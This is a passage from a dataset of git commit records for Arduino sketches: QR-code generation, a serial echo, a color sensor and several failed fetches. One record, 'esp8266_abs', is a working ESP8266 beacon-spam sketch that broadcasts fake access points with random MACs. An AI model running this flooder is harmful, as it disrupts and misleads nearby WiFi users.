{1,0,0,1,0,1,0,1,0,1,0,0,0,0,0};\/\/ECC Level M Mask 7,\n*\/\n\/\/ ECC type L \nPROGMEM prog_uchar LM0[] = {1,1,1,0,1,1,1,1,1,0,0,0,1,0,0};\/\/ECC Level L Mask 0\nPROGMEM prog_uchar LM1[] = {1,1,1,0,0,1,0,1,1,1,1,0,0,1,1};\/\/ECC Level L Mask 1\nPROGMEM prog_uchar LM2[] = {1,1,1,1,1,0,1,1,0,1,0,1,0,1,0};\/\/ECC Level L Mask 2\nPROGMEM prog_uchar LM3[] = {1,1,1,1,0,0,0,1,0,0,1,1,1,0,1};\/\/ECC Level L Mask 3\nPROGMEM prog_uchar LM4[] = {1,1,0,0,1,1,0,0,0,1,0,1,1,1,1};\/\/ECC Level L Mask 4\nPROGMEM prog_uchar LM5[] = {1,1,0,0,0,1,1,0,0,0,1,1,0,0,0};\/\/ECC Level L Mask 5,\nPROGMEM prog_uchar LM6[] = {1,1,0,1,1,0,0,0,1,0,0,0,0,0,1};\/\/ECC Level L Mask 6\nPROGMEM prog_uchar LM7[] = {1,1,0,1,0,0,1,0,1,1,1,0,1,1,0};\/\/ECC Level L Mask 7,\n\nint maskType = 0;\/\/Place holde for the QR code mask type\n\/\/ wln change for trying different masks\n\/\/int maskType = 0;\/\/(row + column) mod 2 == 0\n\/\/int maskType = 1;\/\/(row) mod 2 == 0\n\/\/int maskType = 2;\/\/(column) mod 3 == 0\n\/\/int maskType = 3;\/\/(row + column) mod 3 == 0\n\/\/int maskType = 4;\/\/( floor(row \/ 2) + floor(column \/ 3) ) mod 2 == 0\n\/\/int maskType = 5;\/\/((row * column) mod 2) + ((row * column) mod 3) == 0\n\/\/int maskType = 6;\/\/( ((row * column) mod 2) + ((row * column) mod 3) ) mod 2 == 0\n\/\/int maskType = 7;\/\/( ((row + column) mod 2) + ((row * column) mod 3) ) mod 2 == 0 (according to thonky this is correct not what is in QR specification Page 51\n\n\n\/\/place holder for Message in binary form - use smallest version for application to save SRAM\n\/\/byte BinaryMessComp[26]={};\/\/big enough for Version 1. one bit per bit rather than byte for bit holds both Message and ECC, saves 174 bytes of SRAM\n\/\/byte BinaryMessComp[44]={};\/\/big enough for Version 2. \nbyte BinaryMessComp[70]={};\/\/big enough for Version 3. \n\n\/\/Array to hold Message in Integer format (used in poly arithmetic) - use smallest version for application to save SRAM\n\/\/unsigned int MessageI[13] = {};\/\/big enough for Version 1 Q\n\/\/unsigned int MessageI[22] = {};\/\/big enough for Version 2 Q\nunsigned int MessageI[55] = {};\/\/big enough for Version 3 L\n\/\/unsigned int MessageI[44] = {};\/\/big enough for Version 3 M\n\n\/\/Array to hold Message in Alpha Notation (used in arithmetic) - use smallest version for application to save SRAM\n\/\/unsigned int MessageA[13] = {};\/\/big enough for Version 1 Q\n\/\/unsigned int MessageA[22] = {};\/\/big enough for Version 2 Q\nunsigned int MessageA[55] = {};\/\/big enough for Version 3 L\n\/\/unsigned int MessageA[44] = {};\/\/big enough for Version 3 M\n\n\/\/ QR code Version - These are set up below\n\/\/ qrV = QR version 1, 2, or 3\n\/\/ qrE =Error Correction Level, L, M, Q, or H\n\n\/\/ for additional Generator Polynomials see http:\/\/www.thonky.com\/qr-code-tutorial\/generator-polynomial-tool\/?degree=13\n\/\/ These could be moved to PROGMEM to save SRAM\n\/\/ If you want to add other Versions use the types provided as examples. You must also edit the following functions for new types:\n\/\/ encodeDataLength() : the length of the longest message in bytes allowed\n\/\/ getReqDataWords() : the number of required data code words\n\/\/ getReqECCWords() : the number of required Error Correction Code words\n \n\n\/\/**** CHange the QRversion by uncommenting ONE of the lines below. Comment out the one you are not using\n\/\/The line below is for version 1 Q where the ECC polynomial is:\n\/\/ x13 + \u03b174x12 + \u03b1152x11 + \u03b1176x10 + \u03b1100x9 + \u03b186x8 + \u03b1100x7 + \u03b1106x6 + \u03b1104x5 + \u03b1130x4 + \u03b1218x3 + \u03b1206x2 + \u03b1140x + \u03b178\n\/\/int qrV = 1;char qrE = 'Q';unsigned int GeneratorA[14] = {0,74,152,176,100,86,100,106,104,130,218,206,140,78};\/\/version 1Q\n\n\/\/The line below is for version 2 Q where the ECC polynomial is:\n\/\/ x22 + \u03b1210x21 + \u03b1171x20 + \u03b1247x19 + \u03b1242x18 + \u03b193x17 + \u03b1230x16 + \u03b114x15 + \u03b1109x14 + \u03b1221x13 + \u03b153x12 + \u03b1200x11 + \u03b174x10 + \u03b18x9 + \u03b1172x8 + \u03b198x7 + \u03b180x6 + \u03b1219x5 + \u03b1134x4 + \u03b1160x3 + \u03b1105x2 + \u03b1165x + \u03b1231\n\/\/int qrV = 2;char qrE = 'Q';unsigned int GeneratorA[23] = {0,210,171,247,242,93,230,14,109,221,53,200,74,8,172,98,80,219,134,160,105,165,231};\/\/version 2Q\n\n\/\/Version 3 L where the ECC polynomial is:\n\/\/x15 + \u03b18x14 + \u03b1183x13 + \u03b161x12 + \u03b191x11 + \u03b1202x10 + \u03b137x9 + \u03b151x8 + \u03b158x7 + \u03b158x6 + \u03b1237x5 + \u03b1140x4 + \u03b1124x3 + \u03b15x2 + \u03b199x + \u03b1105\nint qrV = 3;char qrE = 'L';unsigned int GeneratorA[16] = {0,8,183,61,91,202,37,51,58,58,237,140,124,5,99,105};\/\/version 3L\n\n\/\/Version 3 M where the ECC polynomial is:\n\/\/x26 + \u03b1173x25 + \u03b1125x24 + \u03b1158x23 + \u03b12x22 + \u03b1103x21 + \u03b1182x20 + \u03b1118x19 + \u03b117x18 + \u03b1145x17 + \u03b1201x16 + \u03b1111x15 + \u03b128x14 + \u03b1165x13 + \u03b153x12 + \u03b1161x11 + \u03b121x10 + \u03b1245x9 + \u03b1142x8 + \u03b113x7 + \u03b1102x6 + \u03b148x5 + \u03b1227x4 + \u03b1153x3 + \u03b1145x2 + \u03b1218x + \u03b170\n\/\/int qrV = 3;char qrE = 'M';unsigned int GeneratorA[27] ={0,173,125,158,2,103,182,118,17,145,201,111,28,165,53,161,21,245,142,13,102,48,227,153,145,218,70};\n\n\/\/Holder for Result from arithmitic - use smallest version for application to save SRAM\n\/\/unsigned int Result[15] = {};\/\/big enough for V 1 Q\n\/\/unsigned int Result[24] = {};\/\/big enough for V 2 Q\nunsigned int Result[56] = {};\/\/big enough for V 3 L\n\/\/unsigned int Result[45] = {};\/\/big enough for V 3 M\n\n\/\/Holder for Result from XOR operation (used in arithmetic) - use smallest version for application to save SRAM\n\/\/unsigned int xorResult[15] = {};\/\/big enough for V 1 Q\n\/\/unsigned int xorResult[24] = {};\/\/big enough for V 2 Q\nunsigned int xorResult[56] = {};\/\/big enough for V 3 L\n\/\/unsigned int xorResult[45] = {};\/\/big enough for V 3 M\n\n\/\/ QR image buffer for grading. supports up to version 3, 29 x29 modules\nunsigned long qrBuff[29] = {};\/\/sized for 1, 2 and 3. Does double duty as offscreen graphics buffer and bit string storage (V27 and later)\nint qrBuffindex = 0;\/\/ holds pointer to the next available bit in the qrBuff when using it for bit string storage\n\/\/ QR module width and height\nbyte qrS = 2;\/\/2 means a 2x2 pix per module\nint qrM = 21;\/\/number of modules per side default version 1, changed automatically to correct size based on qrV\n\/\/ QR module pixel offsets. moves the the QR code from the corner on the display - can be whatever you like but are overridden by centerFlag\n\/\/byte xOffs = 25; byte yOffs = 40;\nbyte xOffs = 3; byte yOffs = 22; \nint centerFlag = 3;\/\/ if not 0 overides xOffs and yOffs to center the code, 1 centers Horz, 2 centers Vert, 3 centers both directions\n\n\/\/char array we hope to convert (a C string) - just a place holder at this point\n\/\/ Size the array for the maximum number of characters you intend to encode plus 1.\n\/\/char charsToEncode[78] = = \"\";\n\/\/must be uppercase and numeric\n\/\/various test strings\n \/\/String messageToEncode = \"HACKADAY\";\n \/\/String messageToEncode = \"S211111S\";\n \/\/String messageToEncode = \"123456789012345\";\n\/\/char charsToEncode[10] = \"JOHN 3:16\";\nchar charsToEncode[78] = \"http:\/\/www.technologicalservicescompany.com\";\n\/\/char charsToEncode[78] = \"ROMANS 6:13\";\n\/\/String messageToEncode = \"A123456789\";\/\/Mask 4 - works\n \/\/String messageToEncode = \"ABCDEFGHIJ\";\/\/Mask 0 - works\n\/\/String messageToEncode = \"12345ABCDE\";\/\/Mask 5 - works\n \/\/String messageToEncode = \"A1B2C3D4E5\";\/\/mask 0 - works\n\/\/String messageToEncode = \"AZ123\";\/\/mask 2 - odd length test\n\/\/String messageToEncode = \"aA1. ..$%*+_\/:\";\/\/ - odd char test\n\/\/String messageToEncode = \"0123456789ABCDEFGHI\";\/\/ - too long message test for Type 1\n\/\/char charsToEncode[78] = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXY\";\/\/Type 3 test\n\/\/String messageToEncode = \"AZ12\";\/\/mask 7\n\/\/char charsToEncode[5] = \"AZ12\";\/\/mask 7\n\/\/char charsToEncode[78] = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nint grade =0;\/\/place holder for qrmask grade\n\/\/ECC words in binary\n\n\/\/char array length\nint length = 77;\/\/max length version 3L\n\/\/byte counter\nint byteCounter = 0;\n\/\/Keeps track of data displayed\nint counter = 0;\nint led = 4;\/\/ used in my hardware for troubleshooting\nint PPS;\/\/pulse per second\nchar mess9[10]=\"John 3:16\";\/\/a place holder for 9 character messages to be displayed on screen\nchar mess3[4]=\"000\";\/\/a place holder for 3 character messages to be displayed on screen\nbyte button;\/\/status of button\n\nvoid setup(void)\n{\n \/\/Start Serial at 115200 baud Used for trouble shooting\n Serial.begin(115200);\/\/saves 290 bytes if not using\n \/\/Init LCD\n \/\/wln\n \/\/ turn on LED\n \/\/pinMode(led, OUTPUT);\/\/ used in my hardware for troubleshooting\n \/\/digitalWrite(led,HIGH); \/\/ used in my hardware for troubleshooting\n pinMode(A3, INPUT);\/\/use as input\n digitalWrite(A3,HIGH);\/\/turn on internal pullup\n \/\/setupGPS();\/\/specific to my hardware, comment out for public QR_Cod_Gen3\n \n \/\/------------------------- QR Stuff ---------------\n \/\/Generate data used for QR. This is where the real work is done\n calculateQRCode();\/\/this is in the generateBits tab(file)\n \n \/\/ rotate screen - optional - tested\n u8g.setRot90();\n \/\/u8g.setRot180();\n \/\/u8g.setRot270();\n \/\/set font size\n u8g.setFont(u8g_font_7x13);\n \/\/set # modules\/side and position based on version\n if(qrV==2){\n qrM=25;\n }\n if(qrV==3){\n qrM=29;\n }\n \/\/ set the offsets to center code if center flag is set\n if(centerFlag > 0){\/\/overide offsets\n if(centerFlag & 1){\/\/center horz\n xOffs = getCenterOffsetX();\n }\n if(centerFlag & 2){\/\/center vert\n yOffs = getCenterOffsetY();\n }\n }\n maskType = findBestMask();\/\/find the best mask for the current message \n}\n\nvoid draw(void) {\n \/\/ graphic commands to redraw the complete screen should be placed here\n \/\/ text to draw \n \/\/u8g.setFont(u8g_font_baby);\n \/\/u8g.setFont(u8g_font_7x13);\n u8g.setColorIndex(1);\/\/black ink\n \/\/char mess[]=\"John 3:16\";\n u8g.drawStr( 0, 10, mess9);\n \/\/u8g.setPrintPos(70, 20); \/\/ for debugging\n \/\/u8g.print(maskType);\/\/ for debugging\n \n \/\/Draw QR code template\n drawTemplate(0);\/\/mode 0 is to the screen\n \/\/Fill in data bits\n informationBits2(0);\/\/mode 0 is to screen. fill in bits over the template\n \n formatBits();\/\/drow format bits. this puts the Code Type and Mask Type into the code\n if(button){\n u8g.setColorIndex(1);\/\/black ink\n u8g.drawStr( 0, 100, mess3);\n }\n \n \/\/ the following just blinks a 6x6 area to show that the program has not crashed\n \/\/ very useful as your program expands.\n \/*\n if(PPS){\n u8g.setColorIndex(0);\/\/white ink\n u8g.drawBox(0,0,6,6);\/\/ \n }else{\n u8g.setColorIndex(1);\/\/black ink\n u8g.drawBox(0,0,6,6);\/\/ \n }\n *\/\n \/\/ u8g.drawStr( 0, 10, \"John 3:16\");\n}\n\nvoid loop()\n{\n \/\/mess9[0]='0' + millis()\/1000 % 10;\n \/\/ proves we have not run out of memory if the draw() function is flashing an area of the screen\n if(millis() % 1000 < 500){\n if(PPS==LOW){\n \/\/ mess9[0]=' ';\n }\n PPS = HIGH;\n \n \n }else{\n if(PPS==HIGH){\n \/\/ mess9[0]='J';\n }\n PPS=LOW;\n \n }\n button = digitalRead(A3);\/\/read the button\n \n \/\/GPShandler();\/\/specific to my hardware,comment out for public QR_Code_Gen3\n if(millis() % 1000 < 10){\/\/up date display every second or so\n \/\/ picture loop as recommended by the U8glib examples\n \/\/\n u8g.firstPage(); \n do {\n draw();\n } while( u8g.nextPage() );\n {\n }\n delay(100);\n }\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'QR_Code_Gen3V38_Public.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eba9bbdb3574639d199e4494abbc19105a3a0f11","subject":"add chapter5 arduino example","message":"add chapter5 arduino example\n","repos":"phodal\/iot-code,designiot\/code,designiot\/code,designiot\/code,phodal\/iot-code,designiot\/code,phodal\/iot-code,phodal\/iot-code","old_file":"chapter5\/arduino-serial\/arduino-serial.ino","new_file":"chapter5\/arduino-serial\/arduino-serial.ino","new_contents":"void setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available()) {\n char inChar = (char)Serial.read();\n Serial.write(inChar );\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chapter5\/arduino-serial\/arduino-serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f72efded316fc918a49192385128a6df472af9a0","subject":"removed debug code from controller arduino stuff","message":"removed debug code from controller arduino stuff\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"847874da545c0308d7f89690d04de94b5b79ce73","subject":"Comment updates","message":"Comment updates\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ac92590fbdb88cb9e9c598a3815e2d82b76fd3e5","subject":"source","message":"source\n","repos":"tabarra\/ESP8266-ABS","old_file":"esp8266_abs\/esp8266_abs.ino","new_file":"esp8266_abs\/esp8266_abs.ino","new_contents":"#include <Arduino.h>\n#include <ESP8266WiFi.h>\nextern \"C\" {\n #include \"user_interface.h\"\n}\n\n\n\/\/Don't forget to change the number 192\nString apNames[] = {\"Afghanistan\", \"Albania\", \"Algeria\", \"Andorra\", \"Angola\", \"Antigua and Barbuda\", \"Argentina\", \"Armenia\", \"Australia\", \"Austria\", \"Azerbaijan\", \"Bahamas\", \"Bahrain\", \"Bangladesh\", \"Barbados\", \"Belarus\", \"Belgium\", \"Belize\", \"Benin\", \"Bhutan\", \"Bolivia\", \"Bosnia and Herzegovina\", \"Botswana\", \"Brazil\", \"Brunei Darussalam\", \"Bulgaria\", \"Burkina Faso\", \"Burundi\", \"Cabo Verde\", \"Cambodia\", \"Cameroon\", \"Canada\", \"Central African Republic\", \"Chad\", \"Chile\", \"China\", \"Colombia\", \"Comoros\", \"Congo\", \"Costa Rica\", \"Cote dIvoire\", \"Croatia\", \"Cuba\", \"Cyprus\", \"Czech Republic\", \"North Korea\", \"Republic of the Congo\", \"Denmark\", \"Djibouti\", \"Dominica\", \"Dominican Republic\", \"Ecuador\", \"Egypt\", \"El Salvador\", \"Equatorial Guinea\", \"Eritrea\", \"Estonia\", \"Ethiopia\", \"Fiji\", \"Finland\", \"France\", \"Gabon\", \"Gambia\", \"Georgia\", \"Germany\", \"Ghana\", \"Greece\", \"Grenada\", \"Guatemala\", \"Guinea\", \"Guinea-Bissau\", \"Guyana\", \"Haiti\", \"Honduras\", \"Hungary\", \"Iceland\", \"India\", \"Indonesia\", \"Iran\", \"Iraq\", \"Ireland\", \"Israel\", \"Italy\", \"Jamaica\", \"Japan\", \"Jordan\", \"Kazakhstan\", \"Kenya\", \"Kiribati\", \"Kuwait\", \"Kyrgyzstan\", \"Republic of Lao\", \"Latvia\", \"Lebanon\", \"Lesotho\", \"Liberia\", \"Libya\", \"Liechtenstein\", \"Lithuania\", \"Luxembourg\", \"Macedonia\", \"Madagascar\", \"Malawi\", \"Malaysia\", \"Maldives\", \"Mali\", \"Malta\", \"Marshall Islands\", \"Mauritania\", \"Mauritius\", \"Mexico\", \"Micronesia\", \"Monaco\", \"Mongolia\", \"Montenegro\", \"Morocco\", \"Mozambique\", \"Myanmar\", \"Namibia\", \"Nauru\", \"Nepal\", \"Netherlands\", \"New Zealand\", \"Nicaragua\", \"Niger\", \"Nigeria\", \"Norway\", \"Oman\", \"Pakistan\", \"Palau\", \"Panama\", \"Papua New Guinea\", \"Paraguay\", \"Peru\", \"Philippines\", \"Poland\", \"Portugal\", \"Qatar\", \"South Korea\", \"Republic of Moldova\", \"Romania\", \"Russian Federation\", \"Rwanda\", \"Saint Kitts and Nevis\", \"Saint Lucia\", \"Samoa\", \"San Marino\", \"Sao Tome and Principe\", \"Saudi Arabia\", \"Senegal\", \"Serbia\", \"Seychelles\", \"Sierra Leone\", \"Singapore\", \"Slovakia\", \"Slovenia\", \"Solomon Islands\", \"Somalia\", \"South Africa\", \"South Sudan\", \"Spain\", \"Sri Lanka\", \"Sudan\", \"Suriname\", \"Swaziland\", \"Sweden\", \"Switzerland\", \"Syrian Arab Republic\", \"Tajikistan\", \"Thailand\", \"Timor-Leste\", \"Togo\", \"Tonga\", \"Trinidad and Tobago\", \"Tunisia\", \"Turkey\", \"Turkmenistan\", \"Tuvalu\", \"Uganda\", \"Ukraine\", \"United Arab Emirates\", \"United Kingdom\", \"Tanzania\", \"United States of America\", \"Uruguay\", \"Uzbekistan\", \"Vanuatu\", \"Venezuela\", \"Vietnam\", \"Yemen\", \"Zambia\", \"Zimbabwe\"};\nbyte apMACs[192][6];\nint apCount = 192;\n\nint currentAP = 0;\nint bPointer = 52;\nchar prefix = '#';\n\n\/\/Beacon Packet buffer\nbyte packet[128] = { \n \/* IEEE 802.11 Beacon Frame *\/\n \/*0*\/ 0x80, 0x00, 0x00, 0x00, \/\/type\/subtype = beacon\n \/*4*\/ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \/\/dst addr = broadcast\n \/*10*\/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, \/\/src addr = random MAC\n \/*16*\/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, \/\/bss id = src addr\n \/*22*\/ 0x90, 0x53, \/\/seq number 1337 + frag number 0\n \/*24*\/ 0xDE, 0xAD, 0x00, 0xBE, 0xEF, 0x00, 0xF0, 0x0D, \/\/timestamp\n \/*32*\/ 0x64, 0x00, \/\/beacon interval (~100ms)\n \/*34*\/ 0x01, 0x04, \/\/capabilities info\n \n \/* IEEE 802.11 wireless LAN managment frame *\/\n \/*36*\/ 0x01, 0x08, \/\/tag = Supported Rates, size\n 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, \n \/*46*\/ 0x03, 0x01, 0xFF, \/\/tag = Channel, size, random channel\n \n \/*49*\/ 0x00, 0xFF, 0x23 \/\/tag = SSID, size, prefix char\n};\n\n\nvoid fillMACs() {\n for (int j = 0; j < apCount; j++) {\n apMACs[j][0] = random(256);\n apMACs[j][1] = random(256);\n apMACs[j][2] = random(256);\n apMACs[j][3] = random(256);\n apMACs[j][4] = random(256);\n apMACs[j][5] = random(256);\n }\n}\n\n\nvoid setup() {\n delay(100);\n wifi_set_opmode(STATION_MODE);\n wifi_promiscuous_enable(1);\n packet[51] = prefix;\n fillMACs();\n}\n\n\nvoid loop() {\n if (currentAP == apCount) {\n currentAP = 0;\n }\n\n \/\/Set random channel (pinning this variable wasn't giving me good results)\n byte channel = random(1, 11);\n wifi_set_channel(channel);\n packet[48] = channel;\n \n \/\/Copying src addr and bssid to packet buffer\n packet[10] = packet[16] = apMACs[currentAP][0];\n packet[11] = packet[17] = apMACs[currentAP][1];\n packet[12] = packet[18] = apMACs[currentAP][2];\n packet[13] = packet[19] = apMACs[currentAP][3];\n packet[14] = packet[20] = apMACs[currentAP][4];\n packet[15] = packet[21] = apMACs[currentAP][5];\n\n \/\/Copying SSID to packet buffer\n byte currLenght = apNames[currentAP].length();\n packet[50] = currLenght+1;\n for (int i = bPointer; i < bPointer+currLenght; i++) {\n packet[i] = apNames[currentAP][i-bPointer];\n }\n\n \/\/Sending beacon. Feel free to play with the numbers here, this was the best combination I found.\n for (int i = 0; i < 8; i++) {\n wifi_send_pkt_freedom(packet, bPointer+currLenght, 0);\n delayMicroseconds(64);\n }\n delay(4);\n \n currentAP++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266_abs\/esp8266_abs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b50da8de7974c06bc2e1672521cace690051025","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/06.Sensors\/Knock\/Knock.ino","new_file":"build\/shared\/examples\/06.Sensors\/Knock\/Knock.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 8b50da8de7974c06bc2e1672521cace690051025\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"64791ba79e6298a9016f3143f98065c958c8008f","subject":"Create sensoreColore.ino","message":"Create sensoreColore.ino","repos":"ated4kids\/rover","old_file":"sensoreColore.ino","new_file":"sensoreColore.ino","new_contents":"[code]\n#define\u00a0VCC\u00a0\u00a012\n#define\u00a0OUT\u00a0\u00a010\n#define\u00a0S2\u00a0\u00a0\u00a08\n#define\u00a0S3\u00a0\u00a0\u00a09\n#define\u00a0S0\u00a0\u00a0\u00a06\n#define\u00a0S1\u00a0\u00a0\u00a07\n\n#define\u00a0\u00a0Filters_R\u00a0\u00a00\n#define\u00a0\u00a0Filters_G\u00a0\u00a01\n#define\u00a0\u00a0Filters_B\u00a0\u00a02\n\nlong count = 0;\nint counter = 0;\nint G_flag = 1;\nint RGB = 0;\nfloat scaleFactor[3];\n\n\/******************************************\n*\u00a0IMPORTANT\u00a0-\u00a0Make\u00a0sure\u00a0you\u00a0calibrate\n*\u00a0your\u00a0sensor\u00a0for\u00a0White\u00a0Balance\u00a0initially\n*\u00a0e.g.\u00a0place\u00a0your\u00a0TCS3200\u00a0in\u00a0front\n*\u00a0of\u00a0a\u00a0piece\u00a0of\u00a0white\u00a0paper\n*******************************************\/\n\nvoid setup()\n{\n\u00a0\u00a0pinMode(OUT, INPUT);\n\u00a0\u00a0pinMode(S2, OUTPUT);\n\u00a0\u00a0pinMode(S3, OUTPUT);\n\u00a0\u00a0pinMode(S0, OUTPUT);\n\u00a0\u00a0pinMode(S1, OUTPUT);\n\u00a0\n\u00a0\u00a0digitalWrite(S2, HIGH);\n\u00a0\u00a0digitalWrite(S3, LOW);\n\u00a0\u00a0digitalWrite(S0, LOW); \/\/ OUTPUT FREQUENCY SCALING 2%\n\u00a0\u00a0digitalWrite(S1, HIGH);\n\n\n\u00a0\u00a0Serial.begin(9600);\n\u00a0\u00a0Serial.println(\"Starting...\");\n\u00a0\u00a0\n\u00a0\u00a0digitalWrite(VCC, HIGH);\n\u00a0\u00a0delay(100);\n\u00a0\u00a0\n\u00a0\u00a0for(int i=0; i<3; i++)\n\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0Select_Filters(i);\n\u00a0\u00a0\u00a0\u00a0int lastDigitalRead = HIGH;\n\u00a0\u00a0\u00a0\u00a0for(int j=0; j<20000; j++)\n\u00a0\u00a0\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0int digitalReadValue = digitalRead(OUT);\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (lastDigitalRead == LOW && digitalReadValue == HIGH) \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0count++;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0counter++;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0lastDigitalRead\u00a0=\u00a0digitalReadValue;\n\u00a0\u00a0\u00a0\u00a0}\n\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0scaleFactor[i]\u00a0=\u00a0255.0\/count;\n\n\u00a0\u00a0\u00a0\u00a0Serial.print(\"count: \");\n\u00a0\u00a0\u00a0\u00a0Serial.println(count);\n\u00a0\u00a0\u00a0\u00a0Serial.print(\"counter: \");\n\u00a0\u00a0\u00a0\u00a0Serial.println(counter);\n\u00a0\u00a0\u00a0\u00a0Serial.print(\"scaleFactor: \");\n\u00a0\u00a0\u00a0\u00a0Serial.println(scaleFactor[i],9); \n\u00a0\u00a0\u00a0\u00a0counter=0;\n\u00a0\u00a0\u00a0\u00a0count=0;\n\u00a0\u00a0}\n\u00a0\u00a0\n\u00a0\u00a0digitalWrite(VCC, LOW);\n\n}\n\nvoid loop()\n{\n\u00a0\u00a0Serial.println(\"loop\");\n\u00a0\u00a0\n\u00a0\u00a0digitalWrite(VCC, HIGH);\n\u00a0\u00a0delay(100);\n\u00a0\u00a0\n\u00a0\u00a0for(int i=0; i<3; i++)\n\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0RGB=i;\n\u00a0\u00a0\u00a0\u00a0Select_Filters(i);\n\u00a0\u00a0\u00a0\u00a0count=0;\n\u00a0\u00a0\u00a0\u00a0int lastDigitalRead = HIGH;\n\u00a0\u00a0\u00a0\u00a0for(int j=0; j<20000; j++)\n\u00a0\u00a0\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0int digitalReadValue = digitalRead(OUT);\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (lastDigitalRead == LOW && digitalReadValue == HIGH) \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0count++;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0counter++;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0lastDigitalRead\u00a0=\u00a0digitalReadValue;\n\u00a0\u00a0\u00a0\u00a0}\n\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0Serial.print(\"value: \");\n\u00a0\u00a0\u00a0\u00a0Serial.println(scaleFactor[i]*count);\n\u00a0\u00a0\u00a0\u00a0Serial.print(\"counter \");\n\u00a0\u00a0\u00a0\u00a0Serial.println(counter);\n\u00a0\u00a0\u00a0\u00a0counter=0;\n\u00a0\u00a0\u00a0\u00a0count=0;\n\u00a0\u00a0}\n\u00a0\u00a0\n\u00a0\u00a0digitalWrite(VCC, LOW);\n\u00a0\u00a0digitalWrite(S2, LOW);\n\u00a0\u00a0digitalWrite(S3, LOW);\n\u00a0\u00a0digitalWrite(S0, LOW);\n\u00a0\u00a0digitalWrite(S1, LOW); \n\u00a0\u00a0\n\u00a0\u00a0delay(6000);\n\u00a0\u00a0digitalWrite(S1, HIGH);\n}\n\nvoid Select_Filters(int RGB)\n{\n\u00a0\u00a0switch(RGB)\n\u00a0\u00a0{\n\u00a0\u00a0\u00a0\u00a0case Filters_R: \/\/Red\n\u00a0\u00a0\u00a0\u00a0digitalWrite(S2, LOW); \n\u00a0\u00a0\u00a0\u00a0digitalWrite(S3, LOW);\n\u00a0\u00a0\u00a0\u00a0Serial.println(\"-----select Red color\");\n\u00a0\u00a0\u00a0\u00a0break;\n\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0case Filters_G: \/\/Green\n\u00a0\u00a0\u00a0\u00a0digitalWrite(S2, HIGH); \n\u00a0\u00a0\u00a0\u00a0digitalWrite(S3, HIGH);\n\u00a0\u00a0\u00a0\u00a0Serial.println(\"-----select Green color\");\n\u00a0\u00a0\u00a0\u00a0break;\n\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0case Filters_B: \/\/Blue\n\u00a0\u00a0\u00a0\u00a0digitalWrite(S2, LOW); \n\u00a0\u00a0\u00a0\u00a0digitalWrite(S3, HIGH);\n\u00a0\u00a0\u00a0\u00a0Serial.println(\"-----select Blue color\");\n\u00a0\u00a0\u00a0\u00a0break;\n\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0default: \/\/Clear(no 